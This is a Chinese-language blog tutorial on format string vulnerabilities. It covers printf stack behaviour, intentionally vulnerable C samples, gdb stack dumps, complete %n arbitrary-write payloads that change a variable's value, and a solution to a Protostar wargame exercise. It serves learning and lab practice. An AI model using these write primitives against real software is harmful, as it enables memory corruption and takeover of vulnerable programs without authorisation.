格式化串漏洞

on under 二进制
3 minute read

0x01 结论知识

1>printf(“%x”)

printf("%x"):未进入printf函数前,第一个栈里的值

2>printf(“%8x”)

printf("%8x"):第一个栈里的值,最后输出到终端为8个字符长度的值(eg.12345678)

3>printf("%3\$x")

printf("%3\$x"):第三个栈里的值(这一条适用于绝大多数的*nix的系统,win下不支持则用printf("%x,%x,%x")来达到同样的目的)
宽度格式符(%3)中的%和3是不分开的,如果%3后面加了\$(直接参数访问)则表示为打印第3个栈里的值

4>printf("%3\$n")

printf("AAAA%3\$n"):将4(4个A)写入第三个栈里的值指向的内存空间(这一条适用于绝大多数的*nix的系统,win下不支持则用printf("%x,%x,%x")),也即将第三个栈里的内容看作一个地址,要将该地址处的内容写成4

0x02 原理理解

1>refer

https://drops.wooyun.org/binary/7714
https://drops.wooyun.org/papers/9426

2>c代码

假设文件名为md.c
------------md.c----------------
#include <stdio.h>
int main(void)
{ 
    int flag = 0;
    int *p = &flag; 
    char a[100];
    scanf("%s",a);
    printf(a);

    if(flag == 2000)
    {
        printf("good!!\n");
    }

    return 0;
}
-------------end----------------

3>栈空间

printf函数
int printf ( const char * format, … )

第一个参数为格式化串参数,后面可以有参数,也可以没有参数,printf只有一个参数时,cpu会把栈空间里的第一个参数(格式化串参数)后面的栈单元当作是printf的后续参数,因为cpu笨

一般在栈空间里,形如"%8xaaa%8d%n"的字符串参数会存放在某个地方,而在栈中printf的第一个参数char *format一般是这个字符串("%8xaaa%8d%n")的地址,这个栈单元下面(高地址)的栈单元中存放的值是被cpu当作的后续参数,eg:

printf("%8xaaa%8d%n")在栈中的数据如下:
    printf_ebp(printf函数帧中的第一句push的ebp)
    printf_retn(printf函数的返回地址)
    addr_of_"%8xaaa%8d%n"(栈中第一个参数)
    0x11111111(将成为栈中第二个参数)
    0x22222222(将成为栈中第三个参数)
    0x33333333(将成为栈中第三个参数)
    ...(将成为栈中第四个参数)
    ...(...)

上面的printf调用后将产生这样的效果:
    1.在屏幕上打印出:11111111aaa572662306(其中十六进制0x22222222对应十进制572662306),也即从printf的第二个参数开始打印或写入到对应地址
    2.向地址为0x33333333的内存中写入19(8+3+8=19)

后来发现这是windows中的情况,kalix64中栈中第一个参数的位置存放的不再是字符串"%8xaaa%8d%n"地址,而是字符串本身

上面的2中的c代码对应的栈中分配的情况如下图format所示:

图format

后来才发现的上图是在win7x64位系统上用od跟踪绘制的结果图,在linux中,并不是这样的情况,linux中a[100]在linux中的栈空间中存放的位置会分配在p上面,而不是flag下面,且win7x64系统中,visual studio编译时会失败,强制用od加载并在调用printf时改写栈中format为含有%n的格式化串(eg.%10x%n)同样会异常失败,无法实现"写"

因此,这个实验更适合在linux下进行,且kalix64中的情况与https://drops.wooyun.org/papers/9426中的情况不一样,将md.c复制到protostar(32位)系统中进行实验

scp /root/桌面/md.c user@192.168.3.221:/tmp
pass:user
cd /tmp
gcc -g -o md md.c
gdb md
disas /m main
------output:-------
8           printf(a);
0x08048482 <main+46>:   lea    0x14(%esp),%eax
0x08048486 <main+50>:   mov    %eax,(%esp)
0x08048489 <main+53>:   call   0x8048364 <printf@plt>
---------end--------
b*main+53
r
input:AAAA%x.%x.%x
x/20x $esp
-----output:------
0xbffff6e0:     0xbffff6f4      0xbffff6f4      0x080481dc      0xbffff778
0xbffff6f0:     0xb7fffa54      0x41414141      0x252e7825      0x78252e78
0xbffff700:     0x00000000      0x00000001      0xb7fff8f8      0xb7f0186e
0xbffff710:     0xb7fd7ff4      0xb7ec6165      0xbffff728      0xb7eada75
0xbffff720:     0xb7fd7ff4      0x08049668      0xbffff738      0x08048330
------end---------
根据上面windows下od跟踪绘出的图容易知道,0xbffff6e0处存放的为字符串"AAAA%x.%x.%x"的内存地址,也即0xbffff6e0处存放的为printf的第一个参数,0xbffff6e4为第二个参数,以此下推

按照上面图format的理解易知程序运行完后将在屏幕上打印出:AAAAbffff6f4.080481dc.bffff778(从printf的第二个参数开始打印)

如果scanf输入的是:AAAA%x.%x.%x.%x.%x,那么最后一个输出的地址将是41414141,因为printf的第六个参数是41414141,从第二个参数到第六个参数共5个栈单元大小

再次分析此linux系统(protostar)中的变量在栈中存放的具体情况,如下
disas main
--------output:--------
   │0x8048454 <main>                push   %ebp                                                                                                                                                                   │
   │0x8048455 <main+1>              mov    %esp,%ebp                                                                                                                                                              │
   │0x8048457 <main+3>              and    $0xfffffff0,%esp                                                                                                                                                       │
   │0x804845a <main+6>              add    $0xffffff80,%esp                                                                                                                                                       │
   │0x804845d <main+9>              movl   $0x0,0x78(%esp)                                                                                                                                                        │
   │0x8048465 <main+17>             lea    0x78(%esp),%eax                                                                                                                                                        │
   │0x8048469 <main+21>             mov    %eax,0x7c(%esp)                                                                                                                                                        │
   │0x804846d <main+25>             mov    $0x8048570,%eax                                                                                                                                                        │
   │0x8048472 <main+30>             lea    0x14(%esp),%edx                                                                                                                                                        │
   │0x8048476 <main+34>             mov    %edx,0x4(%esp)                                                                                                                                                         │
   │0x804847a <main+38>             mov    %eax,(%esp)                                                                                                                                                            │
   │0x804847d <main+41>             call   0x8048374 <__isoc99_scanf@plt>                                                                                                                                         │
   │0x8048482 <main+46>             lea    0x14(%esp),%eax                                                                                                                                                        │
   │0x8048486 <main+50>             mov    %eax,(%esp)                                                                                                                                                            │
B+>│0x8048489 <main+53>             call   0x8048364 <printf@plt> 
-----------end---------
main+9处为将flag(flag为0)存放到esp+0x78里面,也即esp+0x78处存放flag
main+21处为将esp+0x78的值(flag所在的地址)放入到esp+0x7c中,也即flag+7c存放flag的地址
形如:

        --------
addr1      0         addr1=esp+0x78,flag被赋值为0
        --------
         addr1       esp+0x7c处存放p,p被赋值为flag的地址
        --------

flag和p在栈中存放的位置情况与windows中的实验完全相反,linux中是flag存放在p的上面,而win7x64中是flag存放在p的下面

在main+21处下断,用来查看esp+0x78的值,也即addr1的值,然后addr1+4即为p存放的地址,算出p存放的地址与printf第二个参数的地址相差多少,就可以知道如何安排format(%n的合适安排)来达到改变p指向的内容的值的目的,也即将一个值写入[p],相当于intel风格汇编语句mov [p],something

q
gdb md
disas main
-------------output:--------------
0x08048454 <main+0>:    push   %ebp
0x08048455 <main+1>:    mov    %esp,%ebp
0x08048457 <main+3>:    and    $0xfffffff0,%esp
0x0804845a <main+6>:    add    $0xffffff80,%esp
0x0804845d <main+9>:    movl   $0x0,0x78(%esp)
0x08048465 <main+17>:   lea    0x78(%esp),%eax
0x08048469 <main+21>:   mov    %eax,0x7c(%esp)
---------------end----------------
b*main+21
r
p/x $eax
-----output:-------
$3 = 0xbffff758,也即0xbffff758处存放的为flag,addr1=0xbfff758
-------end---------
disas main
-------------output:----------------
0x0804847d <main+41>:   call   0x8048374 <__isoc99_scanf@plt>
0x08048482 <main+46>:   lea    0x14(%esp),%eax
0x08048486 <main+50>:   mov    %eax,(%esp)
0x08048489 <main+53>:   call   0x8048364 <printf@plt>
---------------end------------------
b*main+53
c
input:AAAA%x.%x.%x
x/40x $esp
------------output:-----------------
0xbffff6e0:     0xbffff6f4      0xbffff6f4      0x080481dc      0xbffff778
0xbffff6f0:     0xb7fffa54      0x41414141      0x252e7825      0x78252e78
0xbffff700:     0x00000000      0x00000001      0xb7fff8f8      0xb7f0186e
0xbffff710:     0xb7fd7ff4      0xb7ec6165      0xbffff728      0xb7eada75
0xbffff720:     0xb7fd7ff4      0x08049668      0xbffff738      0x08048330
0xbffff730:     0xb7ff1040      0x08049668      0xbffff768      0x080484d9
0xbffff740:     0xb7fd8304      0xb7fd7ff4      0x080484c0      0xbffff768
0xbffff750:     0xb7ec6365      0xb7ff1040      0x00000000      0xbffff758
0xbffff760:     0x080484c0      0x00000000      0xbffff7e8      0xb7eadc76
0xbffff770:     0x00000001      0xbffff814      0xbffff81c      0xb7fe1848
---------------end------------------
同样可以看到0xbffff758处存放的0即为flag的值,而0xbfff75c处存放的为p,要实现将0xbffff75c处的0xbffff758指向的内容修改为2000,也即要实现0xbffff75c处,[0xbffff758]=2000

0xbffff75c与printf的第二个参数的地址0xbffff6e4相差0xbffff75c-0xbffff6e4=0x78=30个栈单元大小,也即flag为printf的第31个参数,p为printf的第32个参数

所以要将第32个参数指向的内容修改为2000,这样就可以实现将第31个参数修改为2000

构造"%x"*30+%n,其中前面30个%x中要输出2000个长度,可以通过修改宽度输出大小实现,eg.%1768x+"%x"*29+%n(1768+29*8=2000)

第六个参数为开始存放scanf由终端输入的格式化字符串,第32个参数的数据为重要的不能被scanf由终端输入覆盖的位置,所以输入最多可以输入第6到第31个参数所占的空间大小,共32-6+1=27个栈单元大小=27*4=108个字节

如果由scanf从终端输入超过108个字节的格式化字符串,第109到112个字节将覆盖printf的第32个参数,这样printf执行完以后会将2000写入到109-112个字节被覆盖的值的地址空间中,所以如果输入超过108个字节也可以,但是必须保证输入的第109-112个字节为printf第32个参数原本的值,如果直接将printf第31个参数覆盖成2000,会在printf执行完以后被%n的作用改写成其他值,所以直接在printf的第31个参数位置输入2000是不行的

最好的办法是输入长度不超过108个字节,如
%1768x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%n

但是发现这样不会打印出good,gdb尝试打印发现是在printf打印的时候,如果%x对应的要打印的最高位为0,将被省略去这个"0",所以改成下面的形式,强制8位对应每个%x

%1768x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%n(93个字节<108个字节)
成功打印出good,实现了将flag修改为2000,这样在aslr开启的时候同样有效,因为这里用的是相对偏移

在aslr没有开启时,为了进一步缩短scanf由终端输入的格式化字符串长度的大小(小于108即可),达到精确打击,直接改写printf的第32个参数指向的内存空间的值(也即实现修改flag),可以这样做:

在scanf由终端输入的格式化字符串的开头写上printf的第32个参数的值,也即p的值,也即flag存放的地址
scanf由终端输入:"0xbffff758"(对应printf第6个参数)+%8x(读第2个参数)+%8x(读第3个参数)+%8x(读第4个参数)+%1972x(读第5个参数)+%n(写进第6个参数指向的内存空间)
也即'\x58\xf7\xff\xbf'%8x%8x%8x%1972x%n
其中4+8*3+1972=2000
但是0xbffff758是gdb调试时候的第32个参数的值,与md单独运行时并不相同,需要找出md直接运行时的printf的第32个参数的值替换即可

scanf由终端输入%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%xAA%x(31个%x)

最后第31个AA%x处对应输出为:AAbffff788,也即实际运行时printf的第32个参数为0xbffff788

也可以通过https://drops.wooyun.org/papers/9426中查看printf第2个参数的值+(第32个参数与第2个参数相减的差)的方法来计算出第32个参数的大小

构造:'\x88\xf7\xff\xbf'%8x%8x%8x%1972x%n
python -c "print '\x88\xf7\xff\xbf'+'%8x%8x%8x%1972x%n'" | ./md
成功修改了flag的值为2000,打印出了good!

或者更短一些,利用%5\$n(直接参数访问)直接写入到printf第六个参数中
也即:
'\x88\xf7\xff\xbf'%1996x%5\$n

python -c "print '\x88\xf7\xff\xbf'+'%1996x%5\$n'" | ./md
成功修改了flag的值为2000,打印出了good!

0x03 提炼方法

环境:

x32系统下,在call printf这一句汇编语句执行前

方法1>精确打击:在0x12345678地址中写入0x40404040

(适用aslr关闭)
1>输入python -c "print 'AAAABBBB'+'%8x'*20"

    0.输入python -c "print '%3\$x'"查看是否支持\$
    
    1.如果20个栈单元中还没有4141414142424242出现,再将20变大,直到可以看到4141414142424242
    
    2.也可以先用gdb加载,在main函数帧中的call printf那一句下断点,然后x/20x $esp,看不到则将20变大,直到可以看到
    
    3.计算出AAAABBBB(人工构造的格式化串的起始位置)的出现位置为第几个打印值,假设为第num个,便可知道AAAABBBB的出现位置在
      栈中相当于第num个printf的参数的位置,便可得到AAAABBBB在栈中的位置与printf的第一个参数的位移差为(num-1)*4
      (第一个参数为人工构造的格式化串"AAAABBBB%x%x...%x"的指针)
    
    4.有时候遇到栈中4141414142424242的位置会随着输入的长度的不同而变化,这时可以在保证输入的长度不变的基础下调整输入的
      形式(也即调整%x和%n的位置).

2>构造python -c "print 'AA\x78\x56\x34\x12BB'+'%(value-4)x'+'%(num)\$n'"

    这里假设在栈中某一单元中,内容为42424141,也即刚好是AAAABBBB中的中间4个字符覆盖了该栈单元的内容
    value为需要在0x12345678地址中写入的值0x40404040,value-8=1077952568,假设AAAABBBB中的AABB的出现位置为第6个打印数
    的位置,也即num=6,则构造如下:
    
    python -c "print 'AA\x78\x56\x34\x12BB'+'%1077952568x'+'%5\$n'"
    
    如果不支持\$则用:
    python -c "print 'AA\x78\x56\x34\x12BB'+'%1077952565x'+'%1x'*3+'%n'"

方法2>动态打击:在0x1234568中写入0x40404040

(适用于可找到某一栈单元内容为0x12345678的情况,找不到的情况用方法1,该方法可用于aslr开启下)

0>输入python -c "print '%3\$x'"查看是否支持\$

1>找到0x12345678在栈中的位置,用方法1中的两种方法都可以查找(但是如果不是0x12345678这样的比较有特征的可以一眼看出来的,
  eg.0x40528315,如果需要在栈中查找0x40528315,od中有这个功能,gdb暂不知道,可在使用%x打印栈中数据后尝试用tmux的vim复制
  模式搜索)

  计算0x12345678在栈中的位置为printf的第几个参数的位置,假设为第32个,也即第31个打印值

2>构造python -c "print '%(value1)x'+'%8x'*29+'%n'"
      其中value1=1077952576(0x40404040的十进制值)-29*8=1077952344,如下:
      %1077952344x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%n
  或更短的(需要\$支持):
      python -c "print '%(value1)x'+'%31\$n'"
      %1077952576x%31\$n

3>如果不能在栈中某一单元中找到0x12345678而是在连续两个栈单元中存在,eg:
    --------
    56341200
    --------
    56498078
    --------
  这样可以尝试更改输入使0x12345678刚好出现在一个栈中,eg.输入:
  python -c "print 'B%(value1)x'+'%8x'*29+'%n'"
  但这不一定有效

0x04 小试牛刀

target:
https://exploit-exercises.com/protostar/format1/

source:
--------------format1.c-----------------
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln(char *string)
{
  printf(string);
  
  if(target) {
      printf("you have modified the target :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}
-----------------end--------------------

mykey:
        objdump -t format1
        find target address:0x8049638
        ./format1 `python -c "print 'AAAABBBB'+'%x.%x'"`
        -------------output:--------------
        AAAABBBB804960c.bffff788
        --------------end-----------------
        ./format1 `python -c "print 'AAAABBBB'+'%2\$x'"`
        ----------------output:----------------
        AAAABBBB
        ------------------end------------------
        结论:这里不能用\$
        ./format1 `python -c "print 'AAAABBBB'+'%x.'*140"`
        ---------------output:----------------
        AAAABBBB804960c.bffff5e8.8048469.b7fd8304.b7fd7ff4.bffff5e8.8048435.bffff7be.b7ff1040.804845b.b7fd7ff4.8048450.0.bffff668.b7eadc76.2.bffff694.bffff6a0.b7fe1848.bffff650.ffffffff.b7ffeff4.804824d.1.bffff650.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.0.0.bffff668.d5f4313f.ffa7a72f.0.0.0.2.8048340.0.b7ff6210.b7eadb9b.b7ffeff4.2.8048340.0.8048361.804841c.2.bffff694.8048450.8048440.b7ff1040.bffff68c.b7fff8f8.2.bffff7b4.bffff7be.0.bffff96b.bffff976.bffff984.bffff999.bffff9a9.bffff9cb.bffff9d8.bffff9eb.bffff9f5.bffffee5.bffffef9.bfffff3b.bfffff52.bfffff63.bfffff74.bfffff7f.bfffff87.bfffff94.bfffffa8.bfffffdc.bfffffe6.0.20.b7fe2414.21.b7fe2000.10.fabfbff.6.1000.11.64.3.8048034.4.20.5.7.7.b7fe3000.8.0.9.8048340.b.0.c.0.d.0.e.0.17.0.19.bffff79b.1f.bffffff2.f.bffff7ab.0.0.d3000000.e844f82d.2820150f.79187f9d.69c015e8.363836.0.6f662f2e.74616d72.41410031.42424141.78254242.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.
        ------------------end-----------------
        find 42424141 in the 132th print location
        -----------------output:----------------
        AAAABBBB804960c.bffff5e8.8048469.b7fd8304.b7fd7ff4.bffff5e8.8048435.bffff7bb.b7ff1040.804845b.b7fd7ff4.8048450.0.bffff668.b7eadc76.2.bffff694.bffff6a0.b7fe1848.bffff650.ffffffff.b7ffeff4.804824d.1.bffff650.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.0.0.bffff668.b3c0b28e.9993249e.0.0.0.2.8048340.0.b7ff6210.b7eadb9b.b7ffeff4.2.8048340.0.8048361.804841c.2.bffff694.8048450.8048440.b7ff1040.bffff68c.b7fff8f8.2.bffff7b1.bffff7bb.0.bffff96b.bffff976.bffff984.bffff999.bffff9a9.bffff9cb.bffff9d8.bffff9eb.bffff9f5.bffffee5.bffffef9.bfffff3b.bfffff52.bfffff63.bfffff74.bfffff7f.bfffff87.bfffff94.bfffffa8.bfffffdc.bfffffe6.0.20.b7fe2414.21.b7fe2000.10.fabfbff.6.1000.11.64.3.8048034.4.20.5.7.7.b7fe3000.8.0.9.8048340.b.0.c.0.d.0.e.0.17.0.19.bffff79b.1f.bffffff2.f.bffff7ab.0.0.84000000.a999d71b.1ef8a615.f39ada32.69642dc2.363836.662f2e00.616d726f.41003174.42414141.25424242.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.
        --------------------end-----------------
        find 42414141 in the 131th print location
        结论:AAAABBBB的在栈中出现的位置会随着输入的长度不同而变化
        根据./format1 `python -c "print 'AAAABBBB'+'%x.'*140"`中132个输出为42424141:
        ./format1 `python -c "print 'AA\x38\x96\x04\x08BB'+'%x.'*131+'%n.'+'%x.'*8"`
        output:
        .....you have modified the target :)
格式化串, format
home
github
archive
category